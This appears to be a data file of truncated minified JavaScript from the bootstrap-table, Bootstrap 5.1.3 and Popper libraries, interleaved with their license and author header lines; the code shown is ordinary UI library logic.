_raw: !function(t,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e(require("jquery")):"function"==typeof define&&define.amd?define(["jquery"],e):(t="undefined"!=typeof globalThis?globalThis:t||self).BootstrapTable=e(t.jQuery)}(this,(function(t){"use strict";function e(t){return t&&"object"==typeof t&&"default"in t?t:{default:t}}var i=e(t);function n(t){return(n="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t})(t)}function o(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function a(t,e){for(var i=0;i<e.length;i++){var n=e[i];n.enumerable=n.enumerable||!1,n.configurable=!0,"value"in n&&(n.writable=!0),Object.defineProperty(t,n.key,n)}}function s(t,e,i){return e&&a(t.prototype,e),i&&a(t,i),t}function r(t,e){return function(t){if(Array.isArray(t))return t}(t)||function(t,e){if("undefined"==typeof Symbol||!(Symbol.iterator in Object(t)))return;var i=[],n=!0,o=!1,a=void 0;try{for(var s,r=t[Symbol.iterator]();!(n=(s=r.next()).done)&&(i.push(s.value),!e||i.length!==e);n=!0);}catch(t){o=!0,a=t}finally{try{n||null==r.return||r.return()}finally{if(o)throw a}}return i}(t,e)||c(t,e)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function l(t){return function(t){if(Array.isArray(t))return h(t)}(t)||function(t){if("undefined"!=typeof Symbol&&Symbol.iterator in Object(t))return Array.from(t)}(t)||c(t)||function(){throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function c(t,e){if(t){if("string"==typeof t)return h(t,e);var i=Object.prototype.toString.call(t).slice(8,-1);return"Object"===i&&t.constructor&&(i=t.constructor.name),"Map"===i||"Set"===i?Array.from(t):"Arguments"===i||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(i)?h(t,e):void 0}}function h(t,e){(null==e||e>t.length)&&(e=t.length);for(var i=0,n=new Array(e);i<e;i++)n[i]=t[i];return n}function u(t,e){var i;if("undefined"==typeof Symbol||null==t[Symbol.iterator]){if(Array.isArray(t)||(i=c(t))||e&&t&&"number"==typeof t.length){i&&(t=i);var n=0,o=function(){};return{s:o,n:function(){return n>=t.length?{done:!0}:{done:!1,value:t[n++]}},e:function(t){throw t},f:o}}throw new TypeError("Invalid attempt to iterate non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}var a,s=!0,r=!1;return{s:function(){i=t[Symbol.iterator]()},n:function(){var t=i.next();return s=t.done,t},e:function(t){r=!0,a=t},f:function(){try{s||null==i.return||i.return()}finally{if(r)throw a}}}}var d="undefined"!=typeof globalThis?globalThis:"undefined"!=typeof window?window:"undefined"!=typeof global?global:"undefined"!=typeof self?self:{};function f(t,e){return t(e={exports:{}},e.exports),e.exports}var p=function(t){return t&&t.Math==Math&&t},g=p("object"==typeof globalThis&&globalThis)||p("object"==typeof window&&window)||p("object"==typeof self&&self)||p("object"==typeof d&&d)||function(){return this}()||Function("return this")(),v=function(t){try{return!!t()}catch(t){return!0}},b=!v((function(){return 7!=Object.defineProperty({},1,{get:function(){return 7}})[1]})),m={}.propertyIsEnumerable,y=Object.getOwnPropertyDescriptor,w={f:y&&!m.call({1:2},1)?function(t){var e=y(this,t);return!!e&&e.enumerable}:m},S=function(t,e){return{enumerable:!(1&t),configurable:!(2&t),writable:!(4&t),value:e}},x={}.toString,k=function(t){return x.call(t).slice(8,-1)},O="".split,C=v((function(){return!Object("z").propertyIsEnumerable(0)}))?function(t){return"String"==k(t)?O.call(t,""):Object(t)}:Object,T=function(t){if(null==t)throw TypeError("Can't call method on "+t);return t},P=function(t){return C(T(t))},I=function(t){return"object"==typeof t?null!==t:"function"==typeof t},A=function(t,e){if(!I(t))return t;var i,n;if(e&&"function"==typeof(i=t.toString)&&!I(n=i.call(t)))return n;if("function"==typeof(i=t.valueOf)&&!I(n=i.call(t)))return n;if(!e&&"function"==typeof(i=t.toString)&&!I(n=i.call(t)))return n;throw TypeError("Can't convert object to primitive value")},$={}.hasOwnProperty,E=function(t,e){return $.call(t,e)},R=g.document,j=I(R)&&I(R.createElement),_=function(t){return j?R.createElement(t):{}},N=!b&&!v((function(){return 7!=Object.defineProperty(_("div"),"a",{get:function(){return 7}}).a})),F=Object.getOwnPropertyDescriptor,D={f:b?F:function(t,e){if(t=P(t),e=A(e,!0),N)try{return F(t,e)}catch(t){}if(E(t,e))return S(!w.f.call(t,e),t[e])}},V=function(t){if(!I(t))throw TypeError(String(t)+" is not an object");return t},B=Object.defineProperty,L={f:b?B:function(t,e,i){if(V(t),e=A(e,!0),V(i),N)try{return B(t,e,i)}catch(t){}if("get"in i||"set"in i)throw TypeError("Accessors not supported");return"value"in i&&(t[e]=i.value),t}},H=b?function(t,e,i){return L.f(t,e,S(1,i))}:function(t,e,i){return t[e]=i,t},M=function(t,e){try{H(g,t,e)}catch(i){g[t]=e}return e},U="__core-js_shared__",z=g[U]||M(U,{}),q=Function.toString;"function"!=typeof z.inspectSource&&(z.inspectSource=function(t){return q.call(t)});var W,G,K,Y=z.inspectSource,X=g.WeakMap,J="function"==typeof X&&/native code/.test(Y(X)),Q=f((function(t){(t.exports=function(t,e){return z[t]||(z[t]=void 0!==e?e:{})})("versions",[]).push({version:"3.10.1",mode:"global",copyright:"© 2021 Denis Pushkarev (zloirock.ru)"})})),Z=0,tt=Math.random(),et=function(t){return"Symbol("+String(void 0===t?"":t)+")_"+(++Z+tt).toString(36)},it=Q("keys"),nt=function(t){return it[t]||(it[t]=et(t))},ot={},at=g.WeakMap;if(J){var st=z.state||(z.state=new at),rt=st.get,lt=st.has,ct=st.set;W=function(t,e){return e.facade=t,ct.call(st,t,e),e},G=function(t){return rt.call(st,t)||{}},K=function(t){return lt.call(st,t)}}else{var ht=nt("state");ot[ht]=!0,W=function(t,e){return e.facade=t,H(t,ht,e),e},G=function(t){return E(t,ht)?t[ht]:{}},K=function(t){return E(t,ht)}}var ut={set:W,get:G,has:K,enforce:function(t){return K(t)?G(t):W(t,{})},getterFor:function(t){return function(e){var i;if(!I(e)||(i=G(e)).type!==t)throw TypeError("Incompatible receiver, "+t+" required");return i}}},dt=f((function(t){var e=ut.get,i=ut.enforce,n=String(String).split("String");(t.exports=function(t,e,o,a){var s,r=!!a&&!!a.unsafe,l=!!a&&!!a.enumerable,c=!!a&&!!a.noTargetGet;"function"==typeof o&&("string"!=typeof e||E(o,"name")||H(o,"name",e),(s=i(o)).source||(s.source=n.join("string"==typeof e?e:""))),t!==g?(r?!c&&t[e]&&(l=!0):delete t[e],l?t[e]=o:H(t,e,o)):l?t[e]=o:M(e,o)})(Function.prototype,"toString",(function(){return"function"==typeof this&&e(this).source||Y(this)}))})),ft=g,pt=function(t){return"function"==typeof t?t:void 0},gt=function(t,e){return arguments.length<2?pt(ft[t])||pt(g[t]):ft[t]&&ft[t][e]||g[t]&&g[t][e]},vt=Math.ceil,bt=Math.floor,mt=function(t){return isNaN(t=+t)?0:(t>0?bt:vt)(t)},yt=Math.min,wt=function(t){return t>0?yt(mt(t),9007199254740991):0},St=Math.max,xt=Math.min,kt=function(t,e){var i=mt(t);return i<0?St(i+e,0):xt(i,e)},Ot=function(t){return function(e,i,n){var o,a=P(e),s=wt(a.length),r=kt(n,s);if(t&&i!=i){for(;s>r;)if((o=a[r++])!=o)return!0}else for(;s>r;r++)if((t||r in a)&&a[r]===i)return t||r||0;return!t&&-1}},Ct={includes:Ot(!0),indexOf:Ot(!1)},Tt=Ct.indexOf,Pt=function(t,e){var i,n=P(t),o=0,a=[];for(i in n)!E(ot,i)&&E(n,i)&&a.push(i);for(;e.length>o;)E(n,i=e[o++])&&(~Tt(a,i)||a.push(i));return a},It=["constructor","hasOwnProperty","isPrototypeOf","propertyIsEnumerable","toLocaleString","toString","valueOf"],At=It.concat("length","prototype"),$t={f:Object.getOwnPropertyNames||function(t){return Pt(t,At)}},Et={f:Object.getOwnPropertySymbols},Rt=gt("Reflect","ownKeys")||function(t){var e=$t.f(V(t)),i=Et.f;return i?e.concat(i(t)):e},jt=function(t,e){for(var i=Rt(e),n=L.f,o=D.f,a=0;a<i.length;a++){var s=i[a];E(t,s)||n(t,s,o(e,s))}},_t=/#|\.prototype\./,Nt=function(t,e){var i=Dt[Ft(t)];return i==Bt||i!=Vt&&("function"==typeof e?v(e):!!e)},Ft=Nt.normalize=function(t){return String(t).replace(_t,".").toLowerCase()},Dt=Nt.data={},Vt=Nt.NATIVE="N",Bt=Nt.POLYFILL="P",Lt=Nt,Ht=D.f,Mt=function(t,e){var i,n,o,a,s,r=t.target,l=t.global,c=t.stat;if(i=l?g:c?g[r]||M(r,{}):(g[r]||{}).prototype)for(n in e){if(a=e[n],o=t.noTargetGet?(s=Ht(i,n))&&s.value:i[n],!Lt(l?n:r+(c?".":"#")+n,t.forced)&&void 0!==o){if(typeof a==typeof o)continue;jt(a,o)}(t.sham||o&&o.sham)&&H(a,"sham",!0),dt(i,n,a,t)}},Ut="\t\n\v\f\r                　\u2028\u2029\ufeff",zt="["+Ut+"]",qt=RegExp("^"+zt+zt+"*"),Wt=RegExp(zt+zt+"*$"),Gt=function(t){return function(e){var i=String(T(e));return 1&t&&(i=i.replace(qt,"")),2&t&&(i=i.replace(Wt,"")),i}},Kt={start:Gt(1),end:Gt(2),trim:Gt(3)},Yt=Kt.trim;Mt({target:"String",proto:!0,forced:function(t){return v((function(){return!!Ut[t]()||""!=""[t]()||Ut[t].name!==t}))}("trim")},{trim:function(){return Yt(this)}});var Xt=function(t,e){var i=[][t];return!!i&&v((function(){i.call(null,e||function(){throw 1},1)}))},Jt=[].join,Qt=C!=Object,Zt=Xt("join",",");Mt({target:"Array",proto:!0,forced:Qt||!Zt},{join:function(t){return Jt.call(P(this),void 0===t?",":t)}});var te=function(){var t=V(this),e="";return t.global&&(e+="g"),t.ignoreCase&&(e+="i"),t.multiline&&(e+="m"),t.dotAll&&(e+="s"),t.unicode&&(e+="u"),t.sticky&&(e+="y"),e};function ee(t,e){return RegExp(t,e)}var ie={UNSUPPORTED_Y:v((function(){var t=ee("a","y");return t.lastIndex=2,null!=t.exec("abcd")})),BROKEN_CARET:v((function(){var t=ee("^r","gy");return t.lastIndex=2,null!=t.exec("str")}))},ne=RegExp.prototype.exec,oe=Q("native-string-replace",String.prototype.replace),ae=ne,se=function(){var t=/a/,e=/b*/g;return ne.call(t,"a"),ne.call(e,"a"),0!==t.lastIndex||0!==e.lastIndex}(),re=ie.UNSUPPORTED_Y||ie.BROKEN_CARET,le=void 0!==/()??/.exec("")[1];(se||le||re)&&(ae=function(t){var e,i,n,o,a=this,s=re&&a.stick


_raw: * @author wenzhixin <REDACTED_EMAIL> (http://wenzhixin.net.cn/)


_raw: * bootstrap-table - An extended table to integration with some of the most widely used CSS frameworks. (Supports Bootstrap, Semantic UI, Bulma, Material Design, Foundation)


_raw: !function(t,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e(require("@popperjs/core")):"function"==typeof define&&define.amd?define(["@popperjs/core"],e):(t="undefined"!=typeof globalThis?globalThis:t||self).bootstrap=e(t.Popper)}(this,(function(t){"use strict";function e(t){if(t&&t.__esModule)return t;const e=Object.create(null);if(t)for(const i in t)if("default"!==i){const s=Object.getOwnPropertyDescriptor(t,i);Object.defineProperty(e,i,s.get?s:{enumerable:!0,get:()=>t[i]})}return e.default=t,Object.freeze(e)}const i=e(t),s="transitionend",n=t=>{let e=t.getAttribute("data-bs-target");if(!e||"#"===e){let i=t.getAttribute("href");if(!i||!i.includes("#")&&!i.startsWith("."))return null;i.includes("#")&&!i.startsWith("#")&&(i=`#${i.split("#")[1]}`),e=i&&"#"!==i?i.trim():null}return e},o=t=>{const e=n(t);return e&&document.querySelector(e)?e:null},r=t=>{const e=n(t);return e?document.querySelector(e):null},a=t=>{t.dispatchEvent(new Event(s))},l=t=>!(!t||"object"!=typeof t)&&(void 0!==t.jquery&&(t=t[0]),void 0!==t.nodeType),c=t=>l(t)?t.jquery?t[0]:t:"string"==typeof t&&t.length>0?document.querySelector(t):null,h=(t,e,i)=>{Object.keys(i).forEach((s=>{const n=i[s],o=e[s],r=o&&l(o)?"element":null==(a=o)?`${a}`:{}.toString.call(a).match(/\s([a-z]+)/i)[1].toLowerCase();var a;if(!new RegExp(n).test(r))throw new TypeError(`${t.toUpperCase()}: Option "${s}" provided type "${r}" but expected type "${n}".`)}))},d=t=>!(!l(t)||0===t.getClientRects().length)&&"visible"===getComputedStyle(t).getPropertyValue("visibility"),u=t=>!t||t.nodeType!==Node.ELEMENT_NODE||!!t.classList.contains("disabled")||(void 0!==t.disabled?t.disabled:t.hasAttribute("disabled")&&"false"!==t.getAttribute("disabled")),g=t=>{if(!document.documentElement.attachShadow)return null;if("function"==typeof t.getRootNode){const e=t.getRootNode();return e instanceof ShadowRoot?e:null}return t instanceof ShadowRoot?t:t.parentNode?g(t.parentNode):null},_=()=>{},f=t=>{t.offsetHeight},p=()=>{const{jQuery:t}=window;return t&&!document.body.hasAttribute("data-bs-no-jquery")?t:null},m=[],b=()=>"rtl"===document.documentElement.dir,v=t=>{var e;e=()=>{const e=p();if(e){const i=t.NAME,s=e.fn[i];e.fn[i]=t.jQueryInterface,e.fn[i].Constructor=t,e.fn[i].noConflict=()=>(e.fn[i]=s,t.jQueryInterface)}},"loading"===document.readyState?(m.length||document.addEventListener("DOMContentLoaded",(()=>{m.forEach((t=>t()))})),m.push(e)):e()},y=t=>{"function"==typeof t&&t()},E=(t,e,i=!0)=>{if(!i)return void y(t);const n=(t=>{if(!t)return 0;let{transitionDuration:e,transitionDelay:i}=window.getComputedStyle(t);const s=Number.parseFloat(e),n=Number.parseFloat(i);return s||n?(e=e.split(",")[0],i=i.split(",")[0],1e3*(Number.parseFloat(e)+Number.parseFloat(i))):0})(e)+5;let o=!1;const r=({target:i})=>{i===e&&(o=!0,e.removeEventListener(s,r),y(t))};e.addEventListener(s,r),setTimeout((()=>{o||a(e)}),n)},w=(t,e,i,s)=>{let n=t.indexOf(e);if(-1===n)return t[!i&&s?t.length-1:0];const o=t.length;return n+=i?1:-1,s&&(n=(n+o)%o),t[Math.max(0,Math.min(n,o-1))]},A=/[^.]*(?=\..*)\.|.*/,T=/\..*/,C=/::\d+$/,k={};let L=1;const S={mouseenter:"mouseover",mouseleave:"mouseout"},O=/^(mouseenter|mouseleave)/i,N=new Set(["click","dblclick","mouseup","mousedown","contextmenu","mousewheel","DOMMouseScroll","mouseover","mouseout","mousemove","selectstart","selectend","keydown","keypress","keyup","orientationchange","touchstart","touchmove","touchend","touchcancel","pointerdown","pointermove","pointerup","pointerleave","pointercancel","gesturestart","gesturechange","gestureend","focus","blur","change","reset","select","submit","focusin","focusout","load","unload","beforeunload","resize","move","DOMContentLoaded","readystatechange","error","abort","scroll"]);function D(t,e){return e&&`${e}::${L++}`||t.uidEvent||L++}function I(t){const e=D(t);return t.uidEvent=e,k[e]=k[e]||{},k[e]}function P(t,e,i=null){const s=Object.keys(t);for(let n=0,o=s.length;n<o;n++){const o=t[s[n]];if(o.originalHandler===e&&o.delegationSelector===i)return o}return null}function x(t,e,i){const s="string"==typeof e,n=s?i:e;let o=H(t);return N.has(o)||(o=t),[s,n,o]}function M(t,e,i,s,n){if("string"!=typeof e||!t)return;if(i||(i=s,s=null),O.test(e)){const t=t=>function(e){if(!e.relatedTarget||e.relatedTarget!==e.delegateTarget&&!e.delegateTarget.contains(e.relatedTarget))return t.call(this,e)};s?s=t(s):i=t(i)}const[o,r,a]=x(e,i,s),l=I(t),c=l[a]||(l[a]={}),h=P(c,r,o?i:null);if(h)return void(h.oneOff=h.oneOff&&n);const d=D(r,e.replace(A,"")),u=o?function(t,e,i){return function s(n){const o=t.querySelectorAll(e);for(let{target:r}=n;r&&r!==this;r=r.parentNode)for(let a=o.length;a--;)if(o[a]===r)return n.delegateTarget=r,s.oneOff&&$.off(t,n.type,e,i),i.apply(r,[n]);return null}}(t,i,s):function(t,e){return function i(s){return s.delegateTarget=t,i.oneOff&&$.off(t,s.type,e),e.apply(t,[s])}}(t,i);u.delegationSelector=o?i:null,u.originalHandler=r,u.oneOff=n,u.uidEvent=d,c[d]=u,t.addEventListener(a,u,o)}function j(t,e,i,s,n){const o=P(e[i],s,n);o&&(t.removeEventListener(i,o,Boolean(n)),delete e[i][o.uidEvent])}function H(t){return t=t.replace(T,""),S[t]||t}const $={on(t,e,i,s){M(t,e,i,s,!1)},one(t,e,i,s){M(t,e,i,s,!0)},off(t,e,i,s){if("string"!=typeof e||!t)return;const[n,o,r]=x(e,i,s),a=r!==e,l=I(t),c=e.startsWith(".");if(void 0!==o){if(!l||!l[r])return;return void j(t,l,r,o,n?i:null)}c&&Object.keys(l).forEach((i=>{!function(t,e,i,s){const n=e[i]||{};Object.keys(n).forEach((o=>{if(o.includes(s)){const s=n[o];j(t,e,i,s.originalHandler,s.delegationSelector)}}))}(t,l,i,e.slice(1))}));const h=l[r]||{};Object.keys(h).forEach((i=>{const s=i.replace(C,"");if(!a||e.includes(s)){const e=h[i];j(t,l,r,e.originalHandler,e.delegationSelector)}}))},trigger(t,e,i){if("string"!=typeof e||!t)return null;const s=p(),n=H(e),o=e!==n,r=N.has(n);let a,l=!0,c=!0,h=!1,d=null;return o&&s&&(a=s.Event(e,i),s(t).trigger(a),l=!a.isPropagationStopped(),c=!a.isImmediatePropagationStopped(),h=a.isDefaultPrevented()),r?(d=document.createEvent("HTMLEvents"),d.initEvent(n,l,!0)):d=new CustomEvent(e,{bubbles:l,cancelable:!0}),void 0!==i&&Object.keys(i).forEach((t=>{Object.defineProperty(d,t,{get:()=>i[t]})})),h&&d.preventDefault(),c&&t.dispatchEvent(d),d.defaultPrevented&&void 0!==a&&a.preventDefault(),d}},B=new Map,z={set(t,e,i){B.has(t)||B.set(t,new Map);const s=B.get(t);s.has(e)||0===s.size?s.set(e,i):console.error(`Bootstrap doesn't allow more than one instance per element. Bound instance: ${Array.from(s.keys())[0]}.`)},get:(t,e)=>B.has(t)&&B.get(t).get(e)||null,remove(t,e){if(!B.has(t))return;const i=B.get(t);i.delete(e),0===i.size&&B.delete(t)}};class R{constructor(t){(t=c(t))&&(this._element=t,z.set(this._element,this.constructor.DATA_KEY,this))}dispose(){z.remove(this._element,this.constructor.DATA_KEY),$.off(this._element,this.constructor.EVENT_KEY),Object.getOwnPropertyNames(this).forEach((t=>{this[t]=null}))}_queueCallback(t,e,i=!0){E(t,e,i)}static getInstance(t){return z.get(c(t),this.DATA_KEY)}static getOrCreateInstance(t,e={}){return this.getInstance(t)||new this(t,"object"==typeof e?e:null)}static get VERSION(){return"5.1.3"}static get NAME(){throw new Error('You have to implement the static method "NAME", for each component!')}static get DATA_KEY(){return`bs.${this.NAME}`}static get EVENT_KEY(){return`.${this.DATA_KEY}`}}const F=(t,e="hide")=>{const i=`click.dismiss${t.EVENT_KEY}`,s=t.NAME;$.on(document,i,`[data-bs-dismiss="${s}"]`,(function(i){if(["A","AREA"].includes(this.tagName)&&i.preventDefault(),u(this))return;const n=r(this)||this.closest(`.${s}`);t.getOrCreateInstance(n)[e]()}))};class q extends R{static get NAME(){return"alert"}close(){if($.trigger(this._element,"close.bs.alert").defaultPrevented)return;this._element.classList.remove("show");const t=this._element.classList.contains("fade");this._queueCallback((()=>this._destroyElement()),this._element,t)}_destroyElement(){this._element.remove(),$.trigger(this._element,"closed.bs.alert"),this.dispose()}static jQueryInterface(t){return this.each((function(){const e=q.getOrCreateInstance(this);if("string"==typeof t){if(void 0===e[t]||t.startsWith("_")||"constructor"===t)throw new TypeError(`No method named "${t}"`);e[t](this)}}))}}F(q,"close"),v(q);const W='[data-bs-toggle="button"]';class U extends R{static get NAME(){return"button"}toggle(){this._element.setAttribute("aria-pressed",this._element.classList.toggle("active"))}static jQueryInterface(t){return this.each((function(){const e=U.getOrCreateInstance(this);"toggle"===t&&e[t]()}))}}function K(t){return"true"===t||"false"!==t&&(t===Number(t).toString()?Number(t):""===t||"null"===t?null:t)}function V(t){return t.replace(/[A-Z]/g,(t=>`-${t.toLowerCase()}`))}$.on(document,"click.bs.button.data-api",W,(t=>{t.preventDefault();const e=t.target.closest(W);U.getOrCreateInstance(e).toggle()})),v(U);const X={setDataAttribute(t,e,i){t.setAttribute(`data-bs-${V(e)}`,i)},removeDataAttribute(t,e){t.removeAttribute(`data-bs-${V(e)}`)},getDataAttributes(t){if(!t)return{};const e={};return Object.keys(t.dataset).filter((t=>t.startsWith("bs"))).forEach((i=>{let s=i.replace(/^bs/,"");s=s.charAt(0).toLowerCase()+s.slice(1,s.length),e[s]=K(t.dataset[i])})),e},getDataAttribute:(t,e)=>K(t.getAttribute(`data-bs-${V(e)}`)),offset(t){const e=t.getBoundingClientRect();return{top:e.top+window.pageYOffset,left:e.left+window.pageXOffset}},position:t=>({top:t.offsetTop,left:t.offsetLeft})},Y={find:(t,e=document.documentElement)=>[].concat(...Element.prototype.querySelectorAll.call(e,t)),findOne:(t,e=document.documentElement)=>Element.prototype.querySelector.call(e,t),children:(t,e)=>[].concat(...t.children).filter((t=>t.matches(e))),parents(t,e){const i=[];let s=t.parentNode;for(;s&&s.nodeType===Node.ELEMENT_NODE&&3!==s.nodeType;)s.matches(e)&&i.push(s),s=s.parentNode;return i},prev(t,e){let i=t.previousElementSibling;for(;i;){if(i.matches(e))return[i];i=i.previousElementSibling}return[]},next(t,e){let i=t.nextElementSibling;for(;i;){if(i.matches(e))return[i];i=i.nextEl


_raw: * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE)


_raw: * Copyright 2011-2021 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors)


_raw: * Bootstrap v5.1.3 (https://getbootstrap.com/)


_raw: !function(e,t){"object"==typeof exports&&"undefined"!=typeof module?t(exports):"function"==typeof define&&define.amd?define(["exports"],t):t((e="undefined"!=typeof globalThis?globalThis:e||self).Popper={})}(this,(function(e){"use strict";function t(e){if(null==e)return window;if("[object Window]"!==e.toString()){var t=e.ownerDocument;return t&&t.defaultView||window}return e}function n(e){return e instanceof t(e).Element||e instanceof Element}function r(e){return e instanceof t(e).HTMLElement||e instanceof HTMLElement}function o(e){return"undefined"!=typeof ShadowRoot&&(e instanceof t(e).ShadowRoot||e instanceof ShadowRoot)}var i=Math.max,a=Math.min,s=Math.round;function f(e,t){void 0===t&&(t=!1);var n=e.getBoundingClientRect(),o=1,i=1;if(r(e)&&t){var a=e.offsetHeight,f=e.offsetWidth;f>0&&(o=s(n.width)/f||1),a>0&&(i=s(n.height)/a||1)}return{width:n.width/o,height:n.height/i,top:n.top/i,right:n.right/o,bottom:n.bottom/i,left:n.left/o,x:n.left/o,y:n.top/i}}function c(e){var n=t(e);return{scrollLeft:n.pageXOffset,scrollTop:n.pageYOffset}}function p(e){return e?(e.nodeName||"").toLowerCase():null}function u(e){return((n(e)?e.ownerDocument:e.document)||window.document).documentElement}function l(e){return f(u(e)).left+c(e).scrollLeft}function d(e){return t(e).getComputedStyle(e)}function h(e){var t=d(e),n=t.overflow,r=t.overflowX,o=t.overflowY;return/auto|scroll|overlay|hidden/.test(n+o+r)}function m(e,n,o){void 0===o&&(o=!1);var i,a,d=r(n),m=r(n)&&function(e){var t=e.getBoundingClientRect(),n=s(t.width)/e.offsetWidth||1,r=s(t.height)/e.offsetHeight||1;return 1!==n||1!==r}(n),v=u(n),g=f(e,m),y={scrollLeft:0,scrollTop:0},b={x:0,y:0};return(d||!d&&!o)&&(("body"!==p(n)||h(v))&&(y=(i=n)!==t(i)&&r(i)?{scrollLeft:(a=i).scrollLeft,scrollTop:a.scrollTop}:c(i)),r(n)?((b=f(n,!0)).x+=n.clientLeft,b.y+=n.clientTop):v&&(b.x=l(v))),{x:g.left+y.scrollLeft-b.x,y:g.top+y.scrollTop-b.y,width:g.width,height:g.height}}function v(e){var t=f(e),n=e.offsetWidth,r=e.offsetHeight;return Math.abs(t.width-n)<=1&&(n=t.width),Math.abs(t.height-r)<=1&&(r=t.height),{x:e.offsetLeft,y:e.offsetTop,width:n,height:r}}function g(e){return"html"===p(e)?e:e.assignedSlot||e.parentNode||(o(e)?e.host:null)||u(e)}function y(e){return["html","body","#document"].indexOf(p(e))>=0?e.ownerDocument.body:r(e)&&h(e)?e:y(g(e))}function b(e,n){var r;void 0===n&&(n=[]);var o=y(e),i=o===(null==(r=e.ownerDocument)?void 0:r.body),a=t(o),s=i?[a].concat(a.visualViewport||[],h(o)?o:[]):o,f=n.concat(s);return i?f:f.concat(b(g(s)))}function x(e){return["table","td","th"].indexOf(p(e))>=0}function w(e){return r(e)&&"fixed"!==d(e).position?e.offsetParent:null}function O(e){for(var n=t(e),i=w(e);i&&x(i)&&"static"===d(i).position;)i=w(i);return i&&("html"===p(i)||"body"===p(i)&&"static"===d(i).position)?n:i||function(e){var t=-1!==navigator.userAgent.toLowerCase().indexOf("firefox");if(-1!==navigator.userAgent.indexOf("Trident")&&r(e)&&"fixed"===d(e).position)return null;var n=g(e);for(o(n)&&(n=n.host);r(n)&&["html","body"].indexOf(p(n))<0;){var i=d(n);if("none"!==i.transform||"none"!==i.perspective||"paint"===i.contain||-1!==["transform","perspective"].indexOf(i.willChange)||t&&"filter"===i.willChange||t&&i.filter&&"none"!==i.filter)return n;n=n.parentNode}return null}(e)||n}var j="top",E="bottom",D="right",A="left",L="auto",P=[j,E,D,A],M="start",k="end",W="viewport",B="popper",H=P.reduce((function(e,t){return e.concat([t+"-"+M,t+"-"+k])}),[]),T=[].concat(P,[L]).reduce((function(e,t){return e.concat([t,t+"-"+M,t+"-"+k])}),[]),R=["beforeRead","read","afterRead","beforeMain","main","afterMain","beforeWrite","write","afterWrite"];function S(e){var t=new Map,n=new Set,r=[];function o(e){n.add(e.name),[].concat(e.requires||[],e.requiresIfExists||[]).forEach((function(e){if(!n.has(e)){var r=t.get(e);r&&o(r)}})),r.push(e)}return e.forEach((function(e){t.set(e.name,e)})),e.forEach((function(e){n.has(e.name)||o(e)})),r}function C(e){return e.split("-")[0]}function q(e,t){var n=t.getRootNode&&t.getRootNode();if(e.contains(t))return!0;if(n&&o(n)){var r=t;do{if(r&&e.isSameNode(r))return!0;r=r.parentNode||r.host}while(r)}return!1}function V(e){return Object.assign({},e,{left:e.x,top:e.y,right:e.x+e.width,bottom:e.y+e.height})}function N(e,r){return r===W?V(function(e){var n=t(e),r=u(e),o=n.visualViewport,i=r.clientWidth,a=r.clientHeight,s=0,f=0;return o&&(i=o.width,a=o.height,/^((?!chrome|android).)*safari/i.test(navigator.userAgent)||(s=o.offsetLeft,f=o.offsetTop)),{width:i,height:a,x:s+l(e),y:f}}(e)):n(r)?function(e){var t=f(e);return t.top=t.top+e.clientTop,t.left=t.left+e.clientLeft,t.bottom=t.top+e.clientHeight,t.right=t.left+e.clientWidth,t.width=e.clientWidth,t.height=e.clientHeight,t.x=t.left,t.y=t.top,t}(r):V(function(e){var t,n=u(e),r=c(e),o=null==(t=e.ownerDocument)?void 0:t.body,a=i(n.scrollWidth,n.clientWidth,o?o.scrollWidth:0,o?o.clientWidth:0),s=i(n.scrollHeight,n.clientHeight,o?o.scrollHeight:0,o?o.clientHeight:0),f=-r.scrollLeft+l(e),p=-r.scrollTop;return"rtl"===d(o||n).direction&&(f+=i(n.clientWidth,o?o.clientWidth:0)-a),{width:a,height:s,x:f,y:p}}(u(e)))}function I(e,t,o){var s="clippingParents"===t?function(e){var t=b(g(e)),o=["absolute","fixed"].indexOf(d(e).position)>=0&&r(e)?O(e):e;return n(o)?t.filter((function(e){return n(e)&&q(e,o)&&"body"!==p(e)})):[]}(e):[].concat(t),f=[].concat(s,[o]),c=f[0],u=f.reduce((function(t,n){var r=N(e,n);return t.top=i(r.top,t.top),t.right=a(r.right,t.right),t.bottom=a(r.bottom,t.bottom),t.left=i(r.left,t.left),t}),N(e,c));return u.width=u.right-u.left,u.height=u.bottom-u.top,u.x=u.left,u.y=u.top,u}function _(e){return e.split("-")[1]}function F(e){return["top","bottom"].indexOf(e)>=0?"x":"y"}function U(e){var t,n=e.reference,r=e.element,o=e.placement,i=o?C(o):null,a=o?_(o):null,s=n.x+n.width/2-r.width/2,f=n.y+n.height/2-r.height/2;switch(i){case j:t={x:s,y:n.y-r.height};break;case E:t={x:s,y:n.y+n.height};break;case D:t={x:n.x+n.width,y:f};break;case A:t={x:n.x-r.width,y:f};break;default:t={x:n.x,y:n.y}}var c=i?F(i):null;if(null!=c){var p="y"===c?"height":"width";switch(a){case M:t[c]=t[c]-(n[p]/2-r[p]/2);break;case k:t[c]=t[c]+(n[p]/2-r[p]/2)}}return t}function z(e){return Object.assign({},{top:0,right:0,bottom:0,left:0},e)}function X(e,t){return t.reduce((function(t,n){return t[n]=e,t}),{})}function Y(e,t){void 0===t&&(t={});var r=t,o=r.placement,i=void 0===o?e.placement:o,a=r.boundary,s=void 0===a?"clippingParents":a,c=r.rootBoundary,p=void 0===c?W:c,l=r.elementContext,d=void 0===l?B:l,h=r.altBoundary,m=void 0!==h&&h,v=r.padding,g=void 0===v?0:v,y=z("number"!=typeof g?g:X(g,P)),b=d===B?"reference":B,x=e.rects.popper,w=e.elements[m?b:d],O=I(n(w)?w:w.contextElement||u(e.elements.popper),s,p),A=f(e.elements.reference),L=U({reference:A,element:x,strategy:"absolute",placement:i}),M=V(Object.assign({},x,L)),k=d===B?M:A,H={top:O.top-k.top+y.top,bottom:k.bottom-O.bottom+y.bottom,left:O.left-k.left+y.left,right:k.right-O.right+y.right},T=e.modifiersData.offset;if(d===B&&T){var 